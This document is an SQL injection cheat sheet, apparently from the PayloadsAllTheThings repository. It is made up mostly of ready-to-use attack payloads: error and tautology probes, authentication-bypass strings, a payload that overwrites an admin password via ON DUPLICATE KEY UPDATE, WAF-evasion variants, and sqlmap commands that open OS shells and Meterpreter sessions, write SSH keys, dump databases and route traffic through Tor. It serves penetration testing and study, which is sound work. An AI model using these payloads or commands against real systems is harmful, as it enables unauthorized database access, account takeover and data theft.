# SQL Injection

> A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.

Attempting to manipulate SQL queries may have goals including:
- Information Leakage
- Disclosure of stored data
- Manipulation of stored data
- Bypassing authorization controls

## Summary

* [CheatSheets](#cheatsheets)
  * [MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md)
  * [MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
  * [OracleSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md)
  * [PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
  * [SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md)
  * [Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md)
  * [HQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/HQL%20Injection.md)
  * [DB2 Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/DB2%20Injection.md)
* [Entry point detection](#entry-point-detection)
* [DBMS Identification](#dbms-identification)
* [SQL injection using SQLmap](#sql-injection-using-sqlmap)
  * [Basic arguments for SQLmap](#basic-arguments-for-sqlmap)
  * [Load a request file and use mobile user-agent](#load-a-request-file-and-use-mobile-user-agent)
  * [Custom injection in UserAgent/Header/Referer/Cookie](#custom-injection-in-useragentheaderreferercookie)
  * [Second order injection](#second-order-injection)
  * [Shell](#shell)
  * [Crawl a website with SQLmap and auto-exploit](#crawl-a-website-with-sqlmap-and-auto-exploit)
  * [Using TOR with SQLmap](#using-tor-with-sqlmap)
  * [Using a proxy with SQLmap](#using-a-proxy-with-sqlmap)
  * [Using Chrome cookie and a Proxy](#using-chrome-cookie-and-a-proxy)
  * [Using suffix to tamper the injection](#using-suffix-to-tamper-the-injection)
  * [General tamper option and tamper's list](#general-tamper-option-and-tampers-list)
  * [Reduce Requests Number](#reduce-requests-number)
  * [SQLmap without SQL injection](#sqlmap-without-sql-injection)
* [Authentication bypass](#authentication-bypass)
  * [Authentication Bypass (Raw MD5 SHA1)](#authentication-bypass-raw-md5-sha1)
* [Polyglot injection](#polyglot-injection-multicontext)
* [Routed injection](#routed-injection)
* [Insert Statement - ON DUPLICATE KEY UPDATE](#insert-statement---on-duplicate-key-update)
* [Generic WAF Bypass](#generic-waf-bypass)
  * [White spaces alternatives](#white-spaces-alternatives)
  * [No Comma Allowed](#no-comma-allowed)
  * [No Equal Allowed](#no-equal-allowed)
  * [Case modification](#case-modification)


## Tools

* [sqlmapproject/sqlmap](https://github.com/sqlmapproject/sqlmap) - Automatic SQL injection and database takeover tool
* [r0oth3x49/ghauri](https://github.com/r0oth3x49/ghauri) - An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws


## Entry point detection

Detection of an SQL injection entry point

* **Error Messages**: Inputting special characters (e.g., a single quote ') into input fields might trigger SQL errors. If the application displays detailed error messages, it can indicate a potential SQL injection point.
  * Simple characters
    ```sql
    '
    %27
    "
    %22
    #
    %23
    ;
    %3B
    )
    Wildcard (*)
    '  # required for XML content
    ```
  * Multiple encoding
    ```sql
    %%2727
    %25%27
    ```
  * Unicode characters
    ```
    Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (")
    Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (')
    ```

* **Tautology-Based SQL Injection**: By inputting tautological (always true) conditions, you can test for vulnerabilities. For instance, entering `admin' OR '1'='1` in a username field might log you in as the admin if the system is vulnerable.
  * Merging characters
    ```sql
    `+HERP
    '||'DERP
    '+'herp
    ' 'DERP
    '%20'HERP
    '%2B'HERP
    ```
  * Logic Testing
    ```sql
    page.asp?id=1 or 1=1 -- true
    page.asp?id=1' or 1=1 -- true
    page.asp?id=1" or 1=1 -- true
    page.asp?id=1 and 1=2 -- false
    ```

* **Timing Attacks**: Inputting SQL commands that cause deliberate delays (e.g., using `SLEEP` or `BENCHMARK` functions in MySQL) can help identify potential injection points. If the application takes an unusually long time to respond after such input, it might be vulnerable.



## DBMS Identification

```c
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```

## DBMS Identification VIA Error

DBMS                  | Example Error Message                                                                    | Example Payload |
|---------------------|------------------------------------------------------------------------------------------|-----------------|
| MySQL               | `You have an error in your SQL syntax; ... near '' at line 1`                            | `'`             |
| PostgreSQL          | `ERROR: unterminated quoted string at or near "'"`                                       | `'`             |
| PostgreSQL          | `ERROR: syntax error at or near "1"`                                                     | `1'`            |
| Microsoft SQL Server| `Unclosed quotation mark after the character string ''.`                                 | `'`             |
| Microsoft SQL Server| `Incorrect syntax near ''.`                                                              | `'`             |
| Microsoft SQL Server| `The conversion of the varchar value to data type int resulted in an out-of-range value.`| `1'`            |
| Oracle              | `ORA-00933: SQL command not properly ended`                                              | `'`             |
| Oracle              | `ORA-01756: quoted string not properly terminated`                                       | `'`             |
| Oracle              | `ORA-00923: FROM keyword not found where expected`                                       | `1'`            |
------------------------------------------------------------------------------------------------------------------------------------


## SQL injection using SQLmap

[sqlmapproject/sqlmap](https://github.com/sqlmapproject/sqlmap) is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities and taking over database servers.

### Basic arguments for SQLmap

```powershell
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
```

### Load a request file and use mobile user-agent

```powershell
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
```

### Custom injection in UserAgent/Header/Referer/Cookie

```powershell
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass"  --headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'
```

### Second order injection

```powershell
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```

### Shell

* SQL Shell: `python sqlmap.py -u "http://example.com/?id=1"  -p id --sql-shell`
* OS Shell: `python sqlmap.py -u "http://example.com/?id=1"  -p id --os-shell`
* Meterpreter: `python sqlmap.py -u "http://example.com/?id=1"  -p id --os-pwn`
* SSH Shell: `python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/`


### Crawl a website with SQLmap and auto-exploit

```powershell
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```

### Using TOR with SQLmap

```powershell
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
```

### Using a proxy with SQLmap

```powershell
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
```

### Using Chrome cookie and a Proxy

```powershell
sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080"  -f  --time-sec 15 --level 3
```

### Using suffix to tamper the injection

```powershell
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
```


### General tamper option and tamper's list

```powershell
tamper=name_of_the_tamper
```

| Tamper | Description |
| --- | --- |
|0x2char.py | Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),…) counterpart |
|apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
|apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart|
|appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
|base64encode.py | Base64 all characters in a given payload  |
|between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' |
|bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator  |
|chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) |
|charencode.py | URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54) |
|charunicodeencode.py | Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054) |
|charunicodeescape.py | Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054) |
|commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'|
|commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'|
|commentbeforeparentheses.py | Prepends (inline) comment before parentheses (e.g. ( -> /**/() |
|concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'|
|charencode.py | Url-encodes all characters in a given payload (not processing already encoded)  |
|charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded)  |
|equaltolike.py | Replaces all occurrences of operator equal ('=') with operator 'LIKE'  |
|escapequotes.py | Slash escape quotes (' and ") |
|greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
|halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword  |
|htmlencode.py | HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> &#39;) |
|ifnull2casewhenisnull.py | Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart| 
|ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'|
|informationschemacomment.py | Add an inline comment (/**/) to the end of all occurrences of (MySQL) “information_schema” identifier |
|least.py | Replaces greater than operator (‘>’) with ‘LEAST’ counterpart |
|lowercase.py | Replaces each keyword character with lower case value (e.g. SELECT -> select) |
|modsecurityversioned.py | Embraces complete query with versioned comment |
|modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
|multiplespaces.py | Adds multiple spaces around SQL keywords |
|nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters|
|overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
|overlongutf8more.py | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) |
|percentage.py | Adds a percentage sign ('%') infront of each character  |
|plus2concat.py | Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart |
|plus2fnconcat.py | Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart |
|randomcase.py | Replaces each keyword character with random case value |
|randomcomments.py | Add random comments to SQL keywords|
|securesphere.py | Appends special crafted string |
|sp_password.py |  Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
|space2comment.py | Replaces space character (' ') with comments |
|space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') |
|space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
|space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
|space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
|space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') |
|space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
|space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') |
|space2plus.py |  Replaces space character (' ') with plus ('+')  |
|space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
|symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) |
|unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
|unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
|uppercase.py | Replaces each keyword character with upper case value 'INSERT'|
|varnish.py | Append a HTTP header 'X-originating-IP' |
|versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
|versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
|xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |


### Reduce Requests Number

`--test-filter` is helpful when you want to focus on specific types of SQL injection techniques or payloads. Instead of testing the full range of payloads that SQLMap has, you can limit it to those that match a certain pattern, making the process more efficient, especially on large or slow web applications.

```ps1
sqlmap -u "https://lab_host/filter?category=demo" -p category --test-filter="Generic UNION query (NULL)"
```


### SQLmap without SQL injection

You can use SQLmap to access a database via its port instead of a URL.

```ps1
sqlmap.py -d "mysql://user:pass@ip/database" --dump-all
```

## Authentication bypass

```sql
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';--
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
```

## Authentication Bypass (Raw MD5 SHA1)

When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.

```php
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```

Allowing an attacker to craft a string with a `true` statement such as `' or 'SOMETHING`

```php
md5("ffifdyop", true) = 'or'6�]��!r,��b
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
```

Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772)

## Polyglot injection (multicontext)

```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

/* MySQL only */
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
```

## Routed injection

```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```

## Insert Statement - ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

```sql
Inject using payload:
  attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
```


## Generic WAF Bypass

### White spaces alternatives

* No space allowed (`%20`) - bypass using whitespace alternatives
  ```sql
  ?id=1%09and%091=1%09--
  ?id=1%0Dand%0D1=1%0D--
  ?id=1%0Cand%0C1=1%0C--
  ?id=1%0Band%0B1=1%0B--
  ?id=1%0Aand%0A1=1%0A--
  ?id=1%A0and%A01=1%A0--
  ```
* No whitespace - bypass using comments
  ```sql
  ?id=1/*comment*/and/**/1=1/**/--
  ```
* No Whitespace - bypass using parenthesis
  ```sql
  ?id=(1)and(1)=(1)--
  ```
* Whitespace alternatives by DBMS
  ```sql
  -- Example of query where spaces were replaced by ascii characters above 0x80
  ♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼
  ```

| DBMS       | ASCII characters in hexadicimal |
| ---------- | ------------------------------- |
| SQLite3    | 0A, 0D, 0C, 09, 20 |
| MySQL	5    | 09, 0A, 0B, 0C, 0D, A0, 20 |
| MySQL	3	   | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 |
| PostgreSQL | 0A, 0D, 0C, 09, 20 |
| Oracle 11g | 00, 0A, 0D, 0C, 09, 20 |
| MSSQL      | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 |

 
### No Comma Allowed
 
Bypass using OFFSET, FROM and JOIN

```sql
LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```


### No Equal Allowed

Bypass using LIKE/NOT IN/IN/BETWEEN

```sql
?id=1 and substring(version(),1,1)like(5)
?id=1 and substring(version(),1,1)not in(4,3)
?id=1 and substring(version(),1,1)in(4,3)
?id=1 and substring(version(),1,1) between 3 and 4
```


### Case modification
 
* Bypass using uppercase/lowercase (see keyword AND)
  ```sql
  ?id=1 AND 1=1#
  ?id=1 AnD 1=1#
  ?id=1 aNd 1=1#
  ```
* Bypass using keywords case insensitive / Bypass using an equivalent operator
  ```sql
  AND   -> &&
  OR    -> ||
  =     -> LIKE,REGEXP, BETWEEN, not < and not >
  > X   -> not between 0 and X
  WHERE -> HAVING
  ```


## Labs 

* [SQL injection vulnerability in WHERE clause allowing retrieval of hidden data](https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data)
* [SQL injection vulnerability allowing login bypass](https://portswigger.net/web-security/sql-injection/lab-login-bypass)
* [SQL injection with filter bypass via XML encoding](https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding)
* [SQL Labs](https://portswigger.net/web-security/all-labs#sql-injection)

## References

* Detect SQLi
  * [Manual SQL Injection Discovery Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
  * [NetSPI SQL Injection Wiki](https://sqlwiki.netspi.com/)
* MySQL:
  * [PentestMonkey's mySQL injection cheat sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
  * [Reiners mySQL injection Filter Evasion Cheatsheet](https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
  * [Alternative for Information_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/)
  * [The SQL Injection Knowledge base](https://websec.ca/kb/sql_injection)
* MSSQL:
  * [EvilSQL's Error/Union/Blind MSSQL Cheatsheet](http://evilsql.com/main/page2.php)
  * [PentestMonkey's MSSQL SQLi injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
* ORACLE:
  * [PentestMonkey's Oracle SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
* POSTGRESQL:
  * [PentestMonkey's Postgres SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)
* Others
  * [SQLi Cheatsheet - NetSparker](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
  * [Access SQLi Cheatsheet](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
  * [PentestMonkey's Ingres SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet)
  * [Pentestmonkey's DB2 SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
  * [Pentestmonkey's Informix SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
  * [SQLite3 Injection Cheat sheet](https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
  * [Ruby on Rails (Active Record) SQL Injection Guide](http://rails-sqli.org/)
  * [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
  * [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
  * [Manual SQL Injection Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
* Second Order:
  * [Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection](https://www.notsosecure.com/analyzing-cve-2018-6376/)
  * [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper](https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/)
* Sqlmap:
  * [#SQLmap protip @zh4ck](https://twitter.com/zh4ck/status/972441560875970560)
* WAF:
  * [SQLi Optimization and Obfuscation Techniques](https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf) by Roberto Salgado
  * [A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)